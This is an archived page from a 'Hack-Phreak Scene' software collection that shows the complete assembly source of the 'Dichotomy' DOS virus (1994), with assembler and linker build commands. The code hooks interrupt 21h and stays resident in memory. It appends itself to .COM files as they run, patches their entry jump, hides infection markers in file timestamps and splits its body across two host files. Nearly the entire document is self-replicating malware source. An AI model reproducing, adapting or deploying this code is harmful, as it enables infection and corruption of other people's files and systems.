home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DICHOTOM.ASM < prev    next >
Assembly Source File  |  1995-01-02  |  14KB  |  340 lines

  1. ;       Dichotomy Virus
  2. ;       (c) 1994 Evil Avatar
  3. ;
  4. ; TASM /M3 DIKOTOMY
  5. ; TLINK /X DIKOTOMY
  6. ; EXE2BIN DIKOTOMY DIKOTOMY.COM
  7.  
  8. .model tiny
  9. .code
  10. org 0
  11.  
  12. ;=====( Entry point for COM files )========================================
  13.  
  14. Dichotomy:
  15.           call delta
  16. delta:    mov bx, sp
  17.           mov bp, word ptr ds:[bx]
  18.           sub bp, offset delta          ;get delta offset
  19.           inc sp
  20.           inc sp
  21.           cmp word ptr ds:[bp+virus1], 'D['
  22.           mov ah, 1ah
  23.           lea dx, [bp+newDTA]           ;buffer for new DTA
  24.           int 21h                       ;set new disk transfer address
  25.           mov ah, 4eh
  26.           mov cx, 7                     ;any attribute
  27.           lea dx, [bp+FileName]         ;host name
  28.           int 21h                       ;find second host file
  29.           jc maybe_host                 ;if carry, then we need a new host
  30.           mov ax, 3d00h
  31.           int 21h                       ;open second host
  32.           xchg ax, bx                   ;handle is better in bx
  33.           mov ax, 4200h
  34.           sub cx, cx
  35.           mov dx, word ptr ds:[bp+newDTA+1ah]
  36.           sub dx, (offset heap-offset loader2)
  37.           int 21h                       ;move pointer to virus code
  38.           mov ah, 3fh
  39.           mov cx, (offset heap-offset loader2)
  40.           lea dx, [bp+loader2]
  41.           int 21h                       ;read in second part of virus
  42.           mov ah, 3eh
  43.           int 21h                       ;close the file
  44. maybe_host:
  45.           mov ah, 51h
  46.           int 21h                       ;check if resident
  47.           inc bx                        ;if resident, PSP should be -1
  48.           jz resident                   ;yes? kewl!
  49.           cmp word ptr ds:[bp+virus1], 'D['     ;check if we are fully here
  50.           je go_res                     ;yes? we need to go resident
  51. return:   mov ah, 1ah
  52.           mov dx, 80h
  53.           int 21h                       ;restore DTA
  54.           lea si, [bp+comfix]           ;offset of first 3 bytes of file
  55.           mov di, 100h                  ;start of .com file
  56.           mov ax, di
  57.           push ax
  58.           movsw
  59.           movsb
  60.           retn
  61. resident: cmp word ptr ds:[bp+virus1], 'D['     ;is the second host here?
  62.           je return                     ;yes? return to program
  63.           mov ah, 62h
  64.           int 21h                       ;request new host
  65.           jmp return                    ;return to host
  66. go_res:   jmp loader2                   ;go memory resident
  67.  
  68. ;=====( Variables )========================================================
  69.  
  70. comfix    db 0cdh, 20h, 0               ;first 3 bytes of .com file
  71. virus     db '[Dichotomy]', 0           ;virus name
  72. author    db '(c) 1994 Evil Avatar', 0  ;me
  73. FileName  db 'DIKOTOMY.COM', 0, 73h dup (?)     ;second host name
  74. loader1_end:
  75.  
  76. ;=====( Go memory resident )===============================================
  77.  
  78. loader2:
  79.           mov byte ptr ds:[bp+count], 0 ;infections = 0
  80.           mov ah, 'E'
  81.           xor ah, 0fh
  82.           mov bx, -1
  83.           int 21h                       ;get available memory
  84.           mov ah, 'A'
  85.           xor ah, 0bh
  86.           sub bx, (virus_end-Dichotomy+15)/16+1
  87.           int 21h                       ;create a hole in memory
  88.           mov ax, 3521h
  89.           int 21h                       ;get int 21h handler
  90.           mov word ptr [bp+save21], bx
  91.           mov word ptr [bp+save21+2], es        ;save int 21h vector
  92.           mov ah, 'E'
  93.           xor ah, 0dh
  94.           mov bx, (virus_end-Dichotomy+15)/16
  95.           int 21h                       ;allocate the memory
  96.           mov es, ax                    ;es is high virus segment
  97.           mov cx, (virus_end-Dichotomy+1)/2
  98.           lea si, [bp+Dichotomy]
  99.           sub di, di
  100.           rep movsw                     ;copy ourself up there
  101.           push es
  102.           pop ds                        ;save virus seg for int 21h change
  103.           dec ax                        ;MCB segment
  104.           mov es, ax
  105.           mov word ptr es:[1], 8        ;make DOS the owner of our segment
  106.           mov ax, 4541h
  107.           sub ax, 2020h
  108.           lea dx, [int21]
  109.           int 21h                       ;set new int 21h handler
  110.           push cs cs
  111.           pop ds es                     ;restore PSP segments
  112.           jmp return                    ;return to host
  113.  
  114. ;=====( Find a new host )==================================================
  115.  
  116. request:  push ds di si cx cs
  117.           pop ds                        ;save registers
  118.           mov di, bp                    ;set up scan registers
  119.           sub si, si
  120.           mov cx, 5
  121.           repe cmpsw                    ;scan to see if it is us
  122.           jne restore1                  ;no? let dos take care of it
  123.           mov ax, 4300h
  124.           lea dx, [WhatRun]
  125.           int 21h                       ;get attributes of file
  126.           push cx                       ;save them
  127.           mov ax, 4301h
  128.           sub cx, cx
  129.           int 21h                       ;clear attributes
  130.           mov ax, 3d02h
  131.           int 21h                       ;open file read/write
  132.           xchg ax, bx
  133.           mov ax, 5700h
  134.           int 21h                       ;get file date/time
  135.           and cx, 1fh                   ;get seconds
  136.           cmp cx, 1fh                   ;is it 62?
  137.           je cant_fix                   ;can't fix this file
  138.           mov ax, 4202h
  139.           sub cx, cx
  140.           cwd
  141.           int 21h                       ;go to end of file
  142.           mov ah, 40h
  143.           mov cx, (heap-loader2)
  144.           lea dx, [loader2]
  145.           int 21h                       ;copy to end of file
  146.           mov ax, 5700h
  147.           int 21h                       ;get file date/time
  148.           or cx, 1fh
  149.           mov ax, 5701h
  150.           int 21h
  151. cant_fix: mov ax, 4301h
  152.           pop cx                        ;get attributes
  153.           int 21h                       ;restore attributes
  154.           mov ah, 3eh
  155.           int 21h                       ;close file
  156. restore1: pop cx si di ds               ;restore registers
  157.           jmp dos21                     ;go to dos
  158.  
  159. ;=====( Interrupt 21h handler )============================================
  160.  
  161. int21:    inc ah
  162.           cmp ah, 4ch                   ;execute file
  163.           je infect                     ;infect it
  164.           dec ah
  165.           cmp ah, 51h                   ;install check
  166.           je install_check
  167.           cmp ah, 62h                   ;request for new host
  168.           je _request
  169. dos21:    jmp dword ptr cs:[save21]     ;call dos
  170. _request: jmp request
  171.  
  172. ;=====( Installation check )===============================================
  173.  
  174. install_check:
  175.           push di si cx ds cs
  176.           pop ds                        ;save registers
  177.           mov di, bp                    ;set up scan registers
  178.           sub si, si
  179.           mov cx, 5
  180.           repe cmpsw                    ;scan to see if it is us
  181.           jne restore                   ;no? let dos take care of it
  182.           mov bx, -1                    ;return code
  183.           pop ds                        ;restore ds
  184.           add sp, 6                     ;fix stack
  185.           iret                          ;return
  186. restore:  pop cx si di ds               ;restore registers
  187.           jmp dos21                     ;go to dos
  188.  
  189. ;=====( Infection routine )================================================
  190.  
  191. infect:   dec ah
  192.           call push_all                 ;save registers
  193.           push cs
  194.           pop es                        ;es equals code segment
  195.           mov si, dx
  196.           lea di, [WhatRun]
  197.           mov cx, 40h
  198.           rep movsw                     ;save filename in buffer
  199.           mov si, dx                    ;ds:si equals file name
  200.           lea di, [FileName]
  201.           mov ax, 4300h
  202.           int 21h                       ;get attributes of file
  203.           push cx                       ;save them
  204.           mov ax, 4301h
  205.           sub cx, cx
  206.           int 21h                       ;clear attributes
  207.           mov ax, 3d02h
  208.           int 21h                       ;open file read/write
  209.           xchg ax, bx                   ;put handle in bx
  210.           mov ax, 5700h
  211.           int 21h                       ;get file time/date
  212.           and cx, 1fh                   ;get seconds
  213.           cmp cx, 1eh                   ;is 60 or 62?
  214.           jae already_inf               ;then already infected
  215.           lodsb                         ;get drive letter
  216.           dec si                        ;point to filename again
  217.           and al, 5fh                   ;make it uppercase
  218.           cmp al, 'C'                   ;is it C or higher?
  219.           jb _single                    ;no? we must fully infect it
  220.           cmp byte ptr cs:[count], 1    ;have we already done loader 2?
  221.           jne do_loader2                ;yes? start doing loader 1s
  222. do_loader1:
  223.           call inf_loader1
  224.           jmp done_inf
  225. do_loader2:          
  226.           call inf_loader2
  227.           jmp done_inf
  228. _single:  push si di
  229.           mov cx, 40h
  230.           rep movsw                     ;save filename in buffer
  231.           pop di si
  232.           call inf_loader1
  233.           call inf_loader2
  234.           mov byte ptr cs:[count], 0
  235. done_inf: mov ah, 3eh
  236.           int 21h                       ;close file
  237. already_inf:
  238.           mov ax, 4301h
  239.           pop cx                        ;get attributes
  240.           int 21h                       ;restore attributes
  241.           call pop_all                  ;restore registers
  242.           jmp dos21                     ;call dos
  243.  
  244. ;=====( Infect file with loader 1 )========================================
  245.  
  246. inf_loader1:
  247.           push si di ds dx cs           ;save filename and other stuff
  248.           pop ds
  249.           mov byte ptr ds:[count], 0    ;do loader 2 from now on
  250.           mov ah, 3fh
  251.           mov cx, 3
  252.           lea dx, [comfix]
  253.           int 21h                       ;read in first 3 bytes
  254.           mov ax, 4202h
  255.           sub cx, cx
  256.           cwd
  257.           int 21h                       ;go to end of file
  258.           or dx, dx
  259.           jnz bad_file
  260.           cmp ax, 65024-(virus_end-Dichotomy)   ;see if file is too big
  261.           jae bad_file
  262.           mov cx, word ptr ds:[comfix]
  263.           cmp cx, 'M'+'Z'
  264.           jz bad_file                   ;can't infect .exe's
  265.           sub ax, 3                     ;calculate jump
  266.           mov word ptr ds:[buffer], ax  ;set up jump
  267.           mov ah, 40h
  268.           mov cx, (loader1_end-Dichotomy)
  269.           cwd
  270.           int 21h                       ;copy virus to end of file
  271.           mov ax, 4200h
  272.           sub cx, cx
  273.           cwd
  274.           int 21h                       ;go to beginning of file
  275.           mov ah, 40h
  276.           mov cx, 3
  277.           lea dx, [buffer-1]
  278.           int 21h                       ;copy jump to beginning
  279.           mov ax, 5700h
  280.           int 21h                       ;get file time/date
  281.           mov ax, 5701h
  282.           or cx, 1eh
  283.           and cx, 0fffeh                ;set to 60 seconds
  284.           int 21h                       ;set new file time
  285. bad_file: pop dx ds di si
  286.           retn
  287.  
  288. ;=====( Infect file with loader 2 )========================================
  289.  
  290. inf_loader2:
  291.           push ds dx                    ;save file name
  292.           mov cx, 40h
  293.           rep movsw                     ;save filename in buffer
  294.           push cs
  295.           pop ds                        ;ds needs to be code segment
  296.           mov byte ptr ds:[count], 1    ;do loader 1 from now on
  297.           mov ax, 4202h
  298.           sub cx, cx
  299.           cwd
  300.           int 21h                       ;go to end of file
  301.           mov ah, 40h
  302.           mov cx, (heap-loader2)
  303.           lea dx, [loader2]
  304.           int 21h                       ;copy to end of file
  305.           mov ax, 5700h
  306.           int 21h                       ;get file date/time
  307.           or cx, 1fh                    ;set to 62 seconds
  308.           mov ax, 5701h
  309.           int 21h                       ;set new file time
  310.           pop dx ds                     ;restore file name
  311.           retn                          ;return to caller
  312.  
  313. ;=====( Push all registers )===============================================
  314.  
  315. push_all: pop word ptr cs:[p_all]       ;save return code
  316.           push ax bx cx dx bp si di ds es       ;save registers
  317.           pushf                         ;save flags
  318.           jmp word ptr cs:[p_all]       ;return to caller
  319.  
  320. ;=====( Pop all registers )================================================
  321.  
  322. pop_all:  pop word ptr cs:[p_all]       ;save return code
  323.           popf                          ;restore flags
  324.           pop es ds di si bp dx cx bx ax        ;restore registers
  325.           jmp word ptr cs:[p_all]       ;return to caller
  326.  
  327. ;=====( More variables )===================================================
  328.  
  329. virus1    db '[Dichotomy]', 0           ;virus signature
  330.           db 0e9h                       ;jump cs:xxxx
  331. heap:
  332. buffer    dw ?                          ;jump buffer
  333. newDTA    db 2bh dup (?)                ;replacement disk transfer address
  334. save21    dd ?                          ;interrupt 21h vector
  335. p_all     dw ?                          ;push/pop return value
  336. count     db ?                          ;infection count
  337. WhatRun   db 80h dup (?)
  338. virus_end:
  339. end Dichotomy
  340.